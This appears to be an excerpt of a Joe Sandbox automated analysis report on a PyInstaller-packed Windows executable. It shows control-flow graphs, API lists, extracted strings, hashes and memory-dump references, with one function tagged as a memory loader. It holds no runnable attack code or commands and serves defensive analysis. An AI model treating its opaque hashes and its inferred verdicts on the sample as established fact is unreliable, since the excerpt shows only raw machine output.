112->115 113->102 124 7ff79d053b08-7ff79d053b0f 113->124 122 7ff79d053b7c-7ff79d053b80 114->122 123 7ff79d053b87-7ff79d053b9f call 7ff79d0652c0 114->123 125 7ff79d053c46-7ff79d053c4a 115->125 126 7ff79d053d41-7ff79d053d63 call 7ff79d0544d0 115->126 122->123 135 7ff79d053bac-7ff79d053bc4 call 7ff79d0652c0 123->135 136 7ff79d053ba1-7ff79d053ba5 123->136 124->102 128 7ff79d053cd4-7ff79d053ce6 call 7ff79d058a20 125->128 129 7ff79d053c50-7ff79d053c5f call 7ff79d0590e0 125->129 139 7ff79d053d65-7ff79d053d6f call 7ff79d054620 126->139 140 7ff79d053d71-7ff79d053d82 call 7ff79d051c80 126->140 144 7ff79d053ce8-7ff79d053ceb 128->144 145 7ff79d053d35-7ff79d053d3c 128->145 142 7ff79d053cb3-7ff79d053cbd call 7ff79d058850 129->142 143 7ff79d053c61 129->143 135->102 157 7ff79d053bc6 135->157 136->135 148 7ff79d053d87-7ff79d053d96 139->148 140->148 162 7ff79d053cc8-7ff79d053ccf 142->162 163 7ff79d053cbf-7ff79d053cc6 142->163 151 7ff79d053c68 call 7ff79d052710 143->151 144->145 152 7ff79d053ced-7ff79d053d10 call 7ff79d051c80 144->152 145->151 154 7ff79d053d98-7ff79d053d9f 148->154 155 7ff79d053dc4-7ff79d053dda call 7ff79d059400 148->155 164 7ff79d053c6d-7ff79d053c77 151->164 168 7ff79d053d2b-7ff79d053d33 call 7ff79d064fa0 152->168 169 7ff79d053d12-7ff79d053d26 call 7ff79d052710 call 7ff79d064fa0 152->169 154->155 160 7ff79d053da1-7ff79d053da5 154->160 172 7ff79d053ddc 155->172 173 7ff79d053de8-7ff79d053e04 SetDllDirectoryW 155->173 157->102 160->155 166 7ff79d053da7-7ff79d053dbe SetDllDirectoryW LoadLibraryExW 160->166 162->148 163->151 164->97 166->155 168->148 169->164 172->173 176 7ff79d053e0a-7ff79d053e19 call 7ff79d058a20 173->176 177 7ff79d053f01-7ff79d053f08 173->177 189 7ff79d053e1b-7ff79d053e21 176->189 190 7ff79d053e32-7ff79d053e3c call 7ff79d064fa0 176->190 179 7ff79d053ffc-7ff79d054004 177->179 180 7ff79d053f0e-7ff79d053f15 177->180 184 7ff79d054029-7ff79d054034 call 7ff79d0536a0 call 7ff79d053360 179->184 185 7ff79d054006-7ff79d054023 PostMessageW GetMessageW 179->185 180->179 183 7ff79d053f1b-7ff79d053f25 call 7ff79d0533c0 180->183 183->164 197 7ff79d053f2b-7ff79d053f3f call 7ff79d0590c0 183->197 202 7ff79d054039-7ff79d05405b call 7ff79d053670 call 7ff79d056fb0 call 7ff79d056d60 184->202 185->184 194 7ff79d053e2d-7ff79d053e2f 189->194 195 7ff79d053e23-7ff79d053e2b 189->195 199 7ff79d053ef2-7ff79d053efc call 7ff79d058b30 190->199 200 7ff79d053e42-7ff79d053e48 190->200 194->190 195->194 209 7ff79d053f64-7ff79d053fa7 call 7ff79d058b30 call 7ff79d058bd0 call 7ff79d056fb0 call 7ff79d056d60 call 7ff79d058ad0 197->209 210 7ff79d053f41-7ff79d053f5e PostMessageW GetMessageW 197->210 199->177 200->199 204 7ff79d053e4e-7ff79d053e54 200->204 207 7ff79d053e56-7ff79d053e58 204->207 208 7ff79d053e5f-7ff79d053e61 204->208 212 7ff79d053e67-7ff79d053e83 call 7ff79d056db0 call 7ff79d057330 207->212 213 7ff79d053e5a 207->213 208->177 208->212 248 7ff79d053fe9-7ff79d053ff7 call 7ff79d051900 209->248 249 7ff79d053fa9-7ff79d053fb3 call 7ff79d059200 209->249 210->209 228 7ff79d053e8e-7ff79d053e95 212->228 229 7ff79d053e85-7ff79d053e8c 212->229 213->177 232 7ff79d053e97-7ff79d053ea4 call 7ff79d056df0 228->232 233 7ff79d053eaf-7ff79d053eb9 call 7ff79d0571a0 228->233 231 7ff79d053edb-7ff79d053ef0 call 7ff79d052a50 call 7ff79d056fb0 call 7ff79d056d60 229->231 231->177 232->233 242 7ff79d053ea6-7ff79d053ead 232->242 243 7ff79d053ebb-7ff79d053ec2 233->243 244 7ff79d053ec4-7ff79d053ed2 call 7ff79d0574e0 233->244 242->231 243->231 244->177 257 7ff79d053ed4 244->257 248->164 249->248 259 7ff79d053fb5-7ff79d053fca 249->259 257->231 260 7ff79d053fcc-7ff79d053fdf call 7ff79d052710 call 7ff79d051900 259->260 261 7ff79d053fe4 call 7ff79d052a50 259->261 260->164 261->248
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: ErrorFileLastModuleName
                                                                                                                                                                                                                                          • String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to load splash screen resources!$Failed to remove temporary directory: %s$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s$MEI$PYINSTALLER_RESET_ENVIRONMENT$PYINSTALLER_STRICT_UNPACK_MODE$PYINSTALLER_SUPPRESS_SPLASH_SCREEN$Path exceeds PYI_PATH_MAX limit.$Py_GIL_DISABLED$VCRUNTIME140.dll$_PYI_APPLICATION_HOME_DIR$_PYI_APPLICATION_HOME_DIR not set for onefile child process!$_PYI_ARCHIVE_FILE$_PYI_PARENT_PROCESS_LEVEL$_PYI_SPLASH_IPC$bye-runtime-tmpdir$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-python-flag
                                                                                                                                                                                                                                          • API String ID: 2776309574-3273434969
                                                                                                                                                                                                                                          • Opcode ID: d02545141998fec8b25848ae1ed1df906e7abc4b971c3e4ab34b798fb2006b6e
                                                                                                                                                                                                                                          • Instruction ID: 11c499e9cf6bd69a4116ebb9d27a0522616c1a3b75af464c06044237212f9b05
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: d02545141998fec8b25848ae1ed1df906e7abc4b971c3e4ab34b798fb2006b6e
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 67325821E0C68291FA39BB7A98592B9A7A1AF45780FC44432DECD472D6FF2CE554C360
                                                                                                                                                                                                                                          Function 00007FFD940E92B0 Relevance: 14.5, APIs: 5, Strings: 3, Instructions: 513COMMON
                                                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                                                          • Executed
                                                                                                                                                                                                                                          • Not Executed
                                                                                                                                                                                                                                          control_flow_graph 345 7ffd940e92b0-7ffd940e932f 346 7ffd940e9335-7ffd940e933f 345->346 347 7ffd940e948d-7ffd940e94a3 345->347 346->347 348 7ffd940e9345-7ffd940e9348 346->348 349 7ffd940e94a9-7ffd940e94af 347->349 350 7ffd940e939f-7ffd940e93e5 call 7ffd940d6180 347->350 348->349 351 7ffd940e934e 348->351 349->350 352 7ffd940e94b5-7ffd940e94cb call 7ffd940d6180 349->352 359 7ffd940e93eb-7ffd940e944f call 7ffd9420380c 350->359 360 7ffd940e9a7e-7ffd940e9a81 350->360 354 7ffd940e9355-7ffd940e935e 351->354 362 7ffd940e94d1-7ffd940e94ec 352->362 363 7ffd940e9ade 352->363 354->354 357 7ffd940e9360-7ffd940e936f call 7ffd940d6180 354->357 357->363 371 7ffd940e9375-7ffd940e938b 00007FFDA4173010 357->371 375 7ffd940e9778-7ffd940e9788 359->375 376 7ffd940e9455-7ffd940e9471 00007FFDA4173010 359->376 360->363 364 7ffd940e9a83-7ffd940e9a8a 360->364 381 7ffd940e9506-7ffd940e950d 362->381 382 7ffd940e94ee-7ffd940e94ff 362->382 367 7ffd940e9ae3-7ffd940e9afa 363->367 368 7ffd940e9a8c-7ffd940e9a96 364->368 369 7ffd940e9ad5 364->369 373 7ffd940e9a98 368->373 374 7ffd940e9a9e-7ffd940e9acb 368->374 369->363 380 7ffd940e9390-7ffd940e9397 371->380 373->374 374->363 399 7ffd940e9acd-7ffd940e9ad3 374->399 379 7ffd940e96cf-7ffd940e96f4 375->379 377 7ffd940e962b 376->377 378 7ffd940e9477-7ffd940e9488 00007FFDA4173010 376->378 384 7ffd940e962e-7ffd940e9677 00007FFDA4173010 * 2 377->384 378->384 385 7ffd940e96fa-7ffd940e96ff 379->385 386 7ffd940e982f 379->386 380->380 387 7ffd940e9399 380->387 388 7ffd940e9510-7ffd940e9517 381->388 382->381 390 7ffd940e9679-7ffd940e9680 384->390 391 7ffd940e96cd 384->391 385->386 389 7ffd940e9705-7ffd940e9731 call 7ffd940dffd0 385->389 392 7ffd940e9834-7ffd940e9842 386->392 387->350 388->388 393 7ffd940e9519-7ffd940e9520 388->393 400 7ffd940e9734-7ffd940e9754 389->400 395 7ffd940e976a-7ffd940e9773 390->395 396 7ffd940e9686-7ffd940e9690 390->396 391->379 397 7ffd940e9845-7ffd940e9848 392->397 398 7ffd940e9527-7ffd940e952e 393->398 395->391 401 7ffd940e9698-7ffd940e96c5 396->401 402 7ffd940e9692 396->402 403 7ffd940e98fb-7ffd940e9905 397->403 404 7ffd940e984e-7ffd940e9869 call 7ffd940e8830 397->404 398->398 405 7ffd940e9530-7ffd940e9547 398->405 399->363 409 7ffd940e982a-7ffd940e982d 400->409 410 7ffd940e975a-7ffd940e9764 400->410 401->391 443 7ffd940e96c7 401->443 402->401 407 7ffd940e9907-7ffd940e9910 403->407 408 7ffd940e9913-7ffd940e9926 call 7ffd940e46f0 403->408 404->403 423 7ffd940e986f-7ffd940e98f3 404->423 412 7ffd940e9549 405->412 413 7ffd940e9597-7ffd940e959e 405->413 407->408 437 7ffd940e992c-7ffd940e9936 408->437 438 7ffd940e9a70-7ffd940e9a7c 408->438 409->397 420 7ffd940e9766-7ffd940e9768 410->420 421 7ffd940e978d-7ffd940e9790 410->421 414 7ffd940e9550-7ffd940e9557 412->414 417 7ffd940e95c2-7ffd940e95c9 413->417 418 7ffd940e95a0-7ffd940e95a7 413->418 424 7ffd940e9560-7ffd940e9569 414->424 428 7ffd940e95cb-7ffd940e95d5 417->428 429 7ffd940e961a 417->429 418->350 426 7ffd940e95ad-7ffd940e95bc call 7ffd94195ae0 418->426 430 7ffd940e9792-7ffd940e979a 420->430 421->430 451 7ffd940e9959-7ffd940e995f 423->451 452 7ffd940e98f5 423->452 424->424 431 7ffd940e956b-7ffd940e9579 424->431 426->350 426->417 439 7ffd940e95d7 428->439 440 7ffd940e95dd-7ffd940e960a 428->440 445 7ffd940e9623-7ffd940e9626 429->445 434 7ffd940e979c-7ffd940e97b0 call 7ffd940e7c00 430->434 435 7ffd940e97be-7ffd940e97d4 call 7ffd94196ad0 430->435 442 7ffd940e9580-7ffd940e9589 431->442 434->435 460 7ffd940e97b2-7ffd940e97b7 434->460 461 7ffd940e97d6-7ffd940e97eb call 7ffd9414df90 435->461 462 7ffd940e97ed 435->462 448 7ffd940e9938 437->448 449 7ffd940e993e-7ffd940e9951 437->449 438->367 439->440 440->445 468 7ffd940e960c-7ffd940e9615 440->468 442->442 453 7ffd940e958b-7ffd940e9595 442->453 443->391 445->367 448->449 449->451 458 7ffd940e9988-7ffd940e9998 451->458 459 7ffd940e9961-7ffd940e9984 451->459 452->403 453->413 453->414 472 7ffd940e999a 458->472 473 7ffd940e99a0-7ffd940e99d1 458->473 459->458 460->435 463 7ffd940e97ef-7ffd940e97f4 461->463 462->463 466 7ffd940e97f6-7ffd940e980c call 7ffd94196ad0 463->466 467 7ffd940e9822-7ffd940e9828 463->467 466->409 478 7ffd940e980e-7ffd940e9820 call 7ffd9414df90 466->478 467->392 468->367 472->473 476 7ffd940e99d3-7ffd940e99e2 473->476 477 7ffd940e99e4-7ffd940e99eb 473->477 479 7ffd940e99ef-7ffd940e9a11 call 7ffd940e7c00 476->479 477->479 478->409 478->467 484 7ffd940e9a19-7ffd940e9a1c 479->484 485 7ffd940e9a13-7ffd940e9a17 479->485 487 7ffd940e9a23 484->487 488 7ffd940e9a1e-7ffd940e9a21 484->488 486 7ffd940e9a27-7ffd940e9a39 485->486 489 7ffd940e9a3b-7ffd940e9a42 486->489 490 7ffd940e9a44-7ffd940e9a56 486->490 487->486 488->486 488->487 491 7ffd940e9a5a-7ffd940e9a6e 489->491 490->491 491->367
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007A4173010
                                                                                                                                                                                                                                          • String ID: -journal$immutable$nolock
                                                                                                                                                                                                                                          • API String ID: 1436585979-4201244970
                                                                                                                                                                                                                                          • Opcode ID: a1f561667bbe6322790191b89becdf0bea67dc52a5ba2455568e19f1d4293569
                                                                                                                                                                                                                                          • Instruction ID: 43b9cfcf5a9e588d6abb387e8f87bb71658c31bca0bdca6a2c43c21172bfa6f7
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: a1f561667bbe6322790191b89becdf0bea67dc52a5ba2455568e19f1d4293569
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: EE327022B0978286EB749F6594A037E37A1FF46B94F088235CA5E07796EF3DE465D300
                                                                                                                                                                                                                                          Function 00007FF79D0769D4 Relevance: 13.8, APIs: 9, Instructions: 276fileCOMMON
                                                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                                                          • Executed
                                                                                                                                                                                                                                          • Not Executed
                                                                                                                                                                                                                                          control_flow_graph 613 7ff79d0769d4-7ff79d076a47 call 7ff79d076708 616 7ff79d076a49-7ff79d076a52 call 7ff79d064f58 613->616 617 7ff79d076a61-7ff79d076a6b call 7ff79d068590 613->617 622 7ff79d076a55-7ff79d076a5c call 7ff79d064f78 616->622 623 7ff79d076a6d-7ff79d076a84 call 7ff79d064f58 call 7ff79d064f78 617->623 624 7ff79d076a86-7ff79d076aef CreateFileW 617->624 637 7ff79d076da2-7ff79d076dc2 622->637 623->622 627 7ff79d076b6c-7ff79d076b77 GetFileType 624->627 628 7ff79d076af1-7ff79d076af7 624->628 630 7ff79d076b79-7ff79d076bb4 GetLastError call 7ff79d064eec CloseHandle 627->630 631 7ff79d076bca-7ff79d076bd1 627->631 633 7ff79d076b39-7ff79d076b67 GetLastError call 7ff79d064eec 628->633 634 7ff79d076af9-7ff79d076afd 628->634 630->622 648 7ff79d076bba-7ff79d076bc5 call 7ff79d064f78 630->648 640 7ff79d076bd9-7ff79d076bdc 631->640 641 7ff79d076bd3-7ff79d076bd7 631->641 633->622 634->633 635 7ff79d076aff-7ff79d076b37 CreateFileW 634->635 635->627 635->633 645 7ff79d076be2-7ff79d076c37 call 7ff79d0684a8 640->645 646 7ff79d076bde 640->646 641->645 651 7ff79d076c39-7ff79d076c45 call 7ff79d076910 645->651 652 7ff79d076c56-7ff79d076c87 call 7ff79d076488 645->652 646->645 648->622 651->652 658 7ff79d076c47 651->658 659 7ff79d076c8d-7ff79d076ccf 652->659 660 7ff79d076c89-7ff79d076c8b 652->660 661 7ff79d076c49-7ff79d076c51 call 7ff79d06ab30 658->661 662 7ff79d076cf1-7ff79d076cfc 659->662 663 7ff79d076cd1-7ff79d076cd5 659->663 660->661 661->637 664 7ff79d076d02-7ff79d076d06 662->664 665 7ff79d076da0 662->665 663->662 667 7ff79d076cd7-7ff79d076cec 663->667 664->665 668 7ff79d076d0c-7ff79d076d51 CloseHandle CreateFileW 664->668 665->637 667->662 670 7ff79d076d86-7ff79d076d9b 668->670 671 7ff79d076d53-7ff79d076d81 GetLastError call 7ff79d064eec call 7ff79d0686d0 668->671 670->665 671->670
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 1617910340-0
                                                                                                                                                                                                                                          • Opcode ID: 4205a6958293653b93a25a06bf68436f7b6b11ca03fe036e6858b65a4e3d069e
                                                                                                                                                                                                                                          • Instruction ID: 5ecfd41fb02f1ed0535d22e906e61fabfe90fa32b833e119af3523f97dfdd2a0
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 4205a6958293653b93a25a06bf68436f7b6b11ca03fe036e6858b65a4e3d069e
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 9DC1B232B28A4185EB60EFB9C8902BC7761F749B98B815225DA9E9B7D4EF38D451C310
                                                                                                                                                                                                                                          Function 00007FFD94099060 Relevance: 9.6, APIs: 4, Strings: 1, Instructions: 850librarymemoryloaderCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283351644.00007FFD94099000.00000080.00000001.01000000.0000000F.sdmp, Offset: 00007FFD93B90000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2281626061.00007FFD93B90000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2281693316.00007FFD93B91000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2281693316.00007FFD93BA2000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2281693316.00007FFD93BB2000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2281693316.00007FFD93BB8000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2281693316.00007FFD93C02000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2281693316.00007FFD93C17000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2281693316.00007FFD93C27000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2281693316.00007FFD93C2E000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2281693316.00007FFD93C3C000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2281693316.00007FFD93E1E000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2281693316.00007FFD93F09000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2281693316.00007FFD93F0B000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2281693316.00007FFD93F42000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2281693316.00007FFD93F7F000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2281693316.00007FFD93FDA000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2281693316.00007FFD9404B000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2281693316.00007FFD94080000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2281693316.00007FFD94093000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283397865.00007FFD9409A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd93b90000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: ProtectVirtual$AddressLibraryLoadProc
                                                                                                                                                                                                                                          • String ID: )tP
                                                                                                                                                                                                                                          • API String ID: 3300690313-3907340667
                                                                                                                                                                                                                                          • Opcode ID: eab163715ab1799b633ac6e81f81b77985ed928b0291ff377fca493afee617fe
                                                                                                                                                                                                                                          • Instruction ID: f5a70f0a6621b6f142b76e96383eaa98ef6f29d25bdb7f8f7415aaf0e50195ad
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: eab163715ab1799b633ac6e81f81b77985ed928b0291ff377fca493afee617fe
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: FC62256272819287E7298F78D4902BD77A0F749785F049532EA9EC37C5FA3CEA45DB00
                                                                                                                                                                                                                                          Function 00007FFD94154C70 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 370COMMON
                                                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                                                          • Executed
                                                                                                                                                                                                                                          • Not Executed
                                                                                                                                                                                                                                          control_flow_graph 1527 7ffd94154c70-7ffd94154d41 call 7ffd9420380c 1530 7ffd94154d43-7ffd94154d56 1527->1530 1531 7ffd94154d59-7ffd94154d5d 1527->1531 1530->1531 1532 7ffd94154d7d-7ffd94154d83 1531->1532 1533 7ffd94154d5f-7ffd94154d78 call 7ffd940da500 1531->1533 1535 7ffd94154d85-7ffd94154d8f 1532->1535 1536 7ffd94154d96-7ffd94154d9e 1532->1536 1540 7ffd941551ec-7ffd9415521a call 7ffd941549c0 call 7ffd94202900 1533->1540 1535->1536 1538 7ffd94154e81-7ffd94154e89 1536->1538 1539 7ffd94154da4-7ffd94154daa 1536->1539 1541 7ffd94154e93-7ffd94154e96 1538->1541 1542 7ffd94154e8b-7ffd94154e8e call 7ffd9416e660 1538->1542 1543 7ffd94154db0-7ffd94154db7 1539->1543 1544 7ffd94154e7c 1539->1544 1547 7ffd94154f3b-7ffd94154f43 call 7ffd9418fc80 1541->1547 1548 7ffd94154e9c 1541->1548 1542->1541 1549 7ffd94154dc0-7ffd94154dcc 1543->1549 1544->1538 1560 7ffd94154f48-7ffd94154f4b 1547->1560 1552 7ffd94154e9e-7ffd94154ea4 1548->1552 1553 7ffd94154eaa-7ffd94154eb1 1548->1553 1554 7ffd94154e3e-7ffd94154e49 1549->1554 1555 7ffd94154dce-7ffd94154dd2 1549->1555 1552->1547 1552->1553 1556 7ffd94154eb3-7ffd94154ed6 call 7ffd940da370 call 7ffd940d6d20 1553->1556 1557 7ffd94154edb-7ffd94154ede 1553->1557 1561 7ffd94154e4b-7ffd94154e4d 1554->1561 1562 7ffd94154e77 1554->1562 1558 7ffd94154dd4-7ffd94154ddb 1555->1558 1559 7ffd94154de7-7ffd94154def 1555->1559 1556->1540 1570 7ffd94154f2e-7ffd94154f39 1557->1570 1571 7ffd94154ee0-7ffd94154ef2 call 7ffd940d6880 1557->1571 1558->1559 1566 7ffd94154ddd-7ffd94154de5 call 7ffd940efef0 1558->1566 1559->1554 1569 7ffd94154df1-7ffd94154df8 1559->1569 1567 7ffd94154f4d-7ffd94154f54 1560->1567 1568 7ffd94154f57-7ffd94154f63 1560->1568 1561->1549 1562->1544 1566->1559 1567->1568 1574 7ffd94154f65-7ffd94154f71 1568->1574 1575 7ffd94154fc8-7ffd94154fcc 1568->1575 1576 7ffd94154dfa-7ffd94154dfe 1569->1576 1577 7ffd94154e07-7ffd94154e0e 1569->1577 1570->1560 1571->1570 1595 7ffd94154ef4-7ffd94154f2c 00007FFDA4173010 call 7ffd9418fc80 call 7ffd940d6400 1571->1595 1574->1575 1581 7ffd94154f73-7ffd94154f7d 1574->1581 1586 7ffd94154fe1-7ffd94154fe7 1575->1586 1587 7ffd94154fce-7ffd94154fdc 1575->1587 1576->1577 1582 7ffd94154e00-7ffd94154e05 1576->1582 1584 7ffd94154e10-7ffd94154e13 1577->1584 1585 7ffd94154e2a 1577->1585 1592 7ffd94154f7f 1581->1592 1593 7ffd94154f89-7ffd94154f8f 1581->1593 1594 7ffd94154e2c-7ffd94154e30 1582->1594 1596 7ffd94154e21-7ffd94154e28 1584->1596 1597 7ffd94154e15-7ffd94154e19 1584->1597 1585->1594 1589 7ffd94155184-7ffd941551a2 1586->1589 1590 7ffd94154fed-7ffd94154ff0 1586->1590 1588 7ffd94155118-7ffd9415511b 1587->1588 1598 7ffd9415511d-7ffd94155120 call 7ffd941059e0 1588->1598 1599 7ffd94155125-7ffd94155131 1588->1599 1600 7ffd941551a4-7ffd941551ad 1589->1600 1601 7ffd941551bf-7ffd941551c6 1589->1601 1590->1589 1602 7ffd94154ff6-7ffd94154ffb 1590->1602 1592->1593 1603 7ffd94154f91-7ffd94154fa3 call 7ffd940d6880 1593->1603 1604 7ffd94154fba 1593->1604 1607 7ffd94154e32-7ffd94154e35 call 7ffd940efec0 1594->1607 1608 7ffd94154e3a-7ffd94154e3c 1594->1608 1595->1560 1596->1584 1596->1585 1597->1596 1606 7ffd94154e1b-7ffd94154e1f 1597->1606 1598->1599 1615 7ffd94155133-7ffd9415514c call 7ffd940da370 1599->1615 1616 7ffd94155158-7ffd94155161 1599->1616 1612 7ffd941551af-7ffd941551b7 call 7ffd94100600 1600->1612 1613 7ffd941551b9 1600->1613 1601->1540 1617 7ffd941551c8 1601->1617 1602->1588 1614 7ffd94155001-7ffd94155008 1602->1614 1620 7ffd94154fbc-7ffd94154fc3 1603->1620 1635 7ffd94154fa5-7ffd94154fb8 00007FFDA4173010 1603->1635 1604->1620 1606->1582 1606->1596 1607->1608 1608->1554 1610 7ffd94154e52-7ffd94154e72 call 7ffd940da370 1608->1610 1610->1540 1612->1601 1613->1601 1614->1588 1622 7ffd9415500e-7ffd9415501a 1614->1622 1615->1601 1641 7ffd9415514e-7ffd94155156 call 7ffd940d6400 1615->1641 1627 7ffd94155163-7ffd9415516b 1616->1627 1628 7ffd94155176-7ffd94155182 call 7ffd940da250 1616->1628 1625 7ffd941551d0-7ffd941551ea call 7ffd940d6400 1617->1625 1620->1575 1622->1588 1631 7ffd94155020-7ffd9415502d 1622->1631 1625->1540 1627->1628 1636 7ffd9415516d-7ffd94155174 1627->1636 1628->1601 1640 7ffd94155030-7ffd94155044 1631->1640 1635->1620 1636->1601 1643 7ffd941550fd-7ffd94155108 1640->1643 1644 7ffd9415504a-7ffd9415504e 1640->1644 1641->1601 